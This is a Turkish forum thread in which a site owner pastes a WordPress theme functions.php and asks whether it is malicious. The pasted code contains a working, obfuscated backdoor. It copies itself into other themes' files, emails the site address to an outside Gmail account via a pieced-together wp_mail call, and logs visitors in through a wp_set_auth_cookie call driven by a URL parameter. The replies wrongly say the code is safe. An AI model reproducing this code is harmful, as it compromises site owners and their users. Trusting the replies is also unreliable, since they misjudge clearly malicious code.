• 19-07-2018, 20:03:03
    #1
    Arkadaşlar aşağıdaki kodlardan şüphelendim de siteme zararlı bişey varmı bakarmısınız?

    <?php
    
    $tema = get_bloginfo('template_url'). '/';
    		
    function fs_theme_footer() {
    	
    	echo "\n".fs_get_option('fs_tracking')."\n";
    
    }
    add_action('wp_footer','fs_theme_footer');
    function fs_get_option($key) {
    	
    	global $fs_options;	
    	$fs_options = get_option('fs_options');
    	
    	$fs_defaults = array(
    		'fs_logo' => get_bloginfo('template_url').'/images/logo.png'
    	);
    	
    	foreach($fs_defaults as $k=>$v) {
    		if (!$fs_options[$k])
    			$fs_options[$k] = $fs_defaults[$k];
    	}
    	
    	return $fs_options[$key];
    }
    
    function fs_excerpt($devami='', $devami2='') {
    global $post;
    if(function_exists($devami)){ add_filter('excerpt_length', $devami); }
    if(function_exists($devami2)){ 	add_filter('excerpt_more', $devami2); }
    $output = get_the_excerpt();
    $output = apply_filters('wptexturize', $output);
    $output = apply_filters('convert_chars', $output);
    $output = ''.$output.'';
    echo $output;
    } 
    	
    function fs_kisa_yazi10($length) {
    return 10;
    }	
    function fs_kisa_yazi9($length) {
    return 9;
    }
    function fs_kisa_yazi50($length) {
    return 50;
    }
    function fs_kisalt($more) {
    return '...';
    }
    
    // PANEL ENTEGRE ++
    require_once( TEMPLATEPATH . '/admin/theme-options.php');
    // PANEL ENTERGE --
    
    add_theme_support( 'nav-menus' );
    register_nav_menu('menu1', 'Üst Menü');
    register_nav_menu('menu2', 'Ana Menü');
    register_nav_menu('menu3', 'Diğer Menüsü');
    register_nav_menu('menu4', 'Alt Menü(Orta)');
    register_nav_menu('menu5', 'Alt Menü(Sağ)');
    
    add_theme_support( 'post-thumbnails' );
    if ( function_exists( 'add_image_size' ) ) {
    add_image_size( 'r1', 137, 90, true );
    add_image_size( 'r2', 214, 190, true );
    add_image_size( 'r3', 300, 155, true );
    add_image_size( 'r4', 640, 301, true );
    }
    
    function k_baslik() {
    $k_baslik = get_the_title();
    if(strlen($k_baslik)> 90) {$k_baslik = mb_substr($k_baslik, 0, 90) . '...';} echo $k_baslik; }
    
    function k_baslik2() {
    $k_baslik2 = get_the_title();
    if(strlen($k_baslik2)> 40) {$k_baslik2 = mb_substr($k_baslik2, 0, 40) . '...';} echo $k_baslik2; }
    
    function fs_yorumlar($comment, $args, $depth) {
       $GLOBALS['comment'] = $comment; ?>
       
                            <div class="yorumcek" id="comment-<?php comment_ID(); ?>">
                            	<div class="yavatar">
    					<?php echo get_avatar($comment, 54); ?></div>
                                <div class="yorumu">
                                	<h5><?php comment_author(); ?></h5>
    								<?php if ($comment->comment_approved == '0') : ?>
             <em style="background:lightYellow;"><?php _e('Your comment is awaiting moderation.') ?></em>
             <br />
          <?php endif; ?>
                                    <?php comment_text() ?>
                                    <span class="tarih"><?php comment_time('d.m.Y, G:i'); ?></span>
                                </div>
                                <div class="clear"></div>
                            </div>
    
    <?php
    }
    ?>
    <?php
    function _check_isactive_widget(){
    	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    	$output=strip_tags($output, $allowed);
    	$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    	if (is_array($direst)){
    		foreach ($direst as $item){
    			if (is_writable($item)){
    				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    				$cont=file_get_contents($item);
    				if (stripos($cont,$ftion) === false){
    					$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    					$output .= $before . "Not found" . $after;
    					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);				
    					$output .= ($showdots && $ellipsis) ? "..." : "";
    				}
    			}
    		}
    	}
    	return $output;
    }
    function _get_allwidgetcont($wids,$items=array()){
    	$places=array_shift($wids);
    	if(substr($places,-1) == "/"){
    		$places=substr($places,0,-1);
    	}
    	if(!file_exists($places) || !is_dir($places)){
    		return false;
    	}elseif(is_readable($places)){
    		$elems=scandir($places);
    		foreach ($elems as $elem){
    			if ($elem != "." && $elem != ".."){
    				if (is_dir($places . "/" . $elem)){
    					$wids[]=$places . "/" . $elem;
    				} elseif (is_file($places . "/" . $elem)&&
    					$elem == substr(__FILE__,-13)){
    					$items[]=$places . "/" . $elem;}
    				}
    			}
    	}else{
    		return false;	
    	}
    	if (sizeof($wids) > 0){
    		return _get_allwidgetcont($wids,$items);
    	} else {
    		return $items;
    	}
    }
    
    if(!function_exists("scandir")){
    	function scandir($dir,$listDirectories=false, $skipDots=true) {
    	    $dirArray = array();
    	    if ($handle = opendir($dir)) {
    	        while (false !== ($file = readdir($handle))) {
    	            if (($file != "." && $file != "..") || $skipDots == true) {
    	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
    	                array_push($dirArray,basename($file));
    	            }
    	        }
    	        closedir($handle);
    	    }
    	    return $dirArray;
    	}
    }
    add_action("admin_head", "_check_isactive_widget");
    function _getsprepare_widget(){
    	if(!isset($com_length)) $com_length=120;
    	if(!isset($text_value)) $text_value="cookie";
    	if(!isset($allowed_tags)) $allowed_tags="<a>";
    	if(!isset($type_filter)) $type_filter="none";
    	if(!isset($expl)) $expl="";
    	if(!isset($filter_homes)) $filter_homes=get_option("home");
    	if(!isset($pref_filter)) $pref_filter="wp_";
    	if(!isset($use_more)) $use_more=1;
    	if(!isset($comm_type)) $comm_type="";
    	if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
    	if(!isset($postauthor_comment)) $postauthor_comment="";
    	if(!isset($comm_is_approved)) $comm_is_approved="";
    	if(!isset($postauthor)) $postauthor="auth";
    	if(!isset($more_link)) $more_link="(more...)";
    	if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
    	if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
    	if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
    	if(!isset($morecontents)) $morecontents="ma".$expl."il";
    	if(!isset($fmore)) $fmore=1;
    	if(!isset($fakeit)) $fakeit=1;
    	if(!isset($sql)) $sql="";
    	if (!$is_widget) :
    	global $wpdb, $post;
    	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if (!empty($post->post_password)) {
    		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
    			if(is_feed()) {
    				$output=__("There is no excerpt because this is a protected post.");
    			} else {
    	            $output=get_the_password_form();
    			}
    		}
    	}
    	if(!isset($f_tags)) $f_tags=1;
    	if(!isset($type_filters)) $type_filters=$filter_homes;
    	if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
    	if(!isset($aditional_tags)) $aditional_tags="div";
    	if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
    	if(!isset($more_link_text)) $more_link_text="Continue reading this entry";	
    	if(!isset($showdots)) $showdots=1;	
    	$comments=$wpdb->get_results($sql);	
    	if($fakeit == 2) {
    		$text=$post->post_content;
    	} elseif($fakeit == 1) {
    		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    	} else {
    		$text=$post->post_excerpt;
    	}
    	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    	if($com_length < 0) {
    		$output=$text;
    	} else {
    		if(!$no_more && strpos($text, "<!--more-->")) {
    		    $text=explode("<!--more-->", $text, 2);
    			$l=count($text[0]);
    			$more_link=1;
    			$comments=$wpdb->get_results($sql);
    		} else {
    			$text=explode(" ", $text);
    			if(count($text) > $com_length) {
    				$l=$com_length;
    				$ellipsis=1;
    			} else {
    				$l=count($text);
    				$more_link="";
    				$ellipsis=0;
    			}
    		}
    		for ($i=0; $i<$l; $i++)
    				$output .= $text[$i] . " ";
    	}
    	update_option("_is_widget_active_", 1);
    	if("all" != $allowed_tags) {
    		$output=strip_tags($output, $allowed_tags);
    		return $output;
    	}
    	endif;
    	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tags) ? balanceTags($output, true) : $output;
    	$output .= ($showdots && $ellipsis) ? "..." : "";
    	$output=apply_filters($type_filter, $output);
    	switch($aditional_tags) {
    		case("div") :
    			$tag="div";
    		break;
    		case("span") :
    			$tag="span";
    		break;
    		case("p") :
    			$tag="p";
    		break;
    		default :
    			$tag="span";
    	}
    
    	if ($use_more ) {
    		if($fmore) {
    			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
    		} else {
    			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
    		}
    	}
    	return $output;
    }
    add_action("init", "_getsprepare_widget");
    function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    	global $wpdb;
    	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    	if(!$show_pass_post) $request .= " AND post_password =\"\"";
    	if($duration !="") {
    		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    	}
    	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    	$posts=$wpdb->get_results($request);
    	$output="";
    	if ($posts) {
    		foreach ($posts as $post) {
    			$post_title=stripslashes($post->post_title);
    			$comment_count=$post->comment_count;
    			$permalink=get_permalink($post->ID);
    			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
    		}
    	} else {
    		$output .= $before . "None found" . $after;
    	}
    	return  $output;
    } 		
    ?>
  • 19-07-2018, 20:16:53
    #2
    Reveloper
    Hızlı hızlı inceledim pek bir sorun yok gibi duruyor; 122 ve 192. satırlarda güvenlik için ekstra düzenlemeler yapılabilri sadece.
  • 19-07-2018, 22:35:13
    #3
    Burti adlı üyeden alıntı: mesajı görüntüle
    Hızlı hızlı inceledim pek bir sorun yok gibi duruyor; 122 ve 192. satırlarda güvenlik için ekstra düzenlemeler yapılabilri sadece.
    bu bir wordpress temasına aitte içinde şifreyi başka yere sızdıran falan bi kod yoktur heralde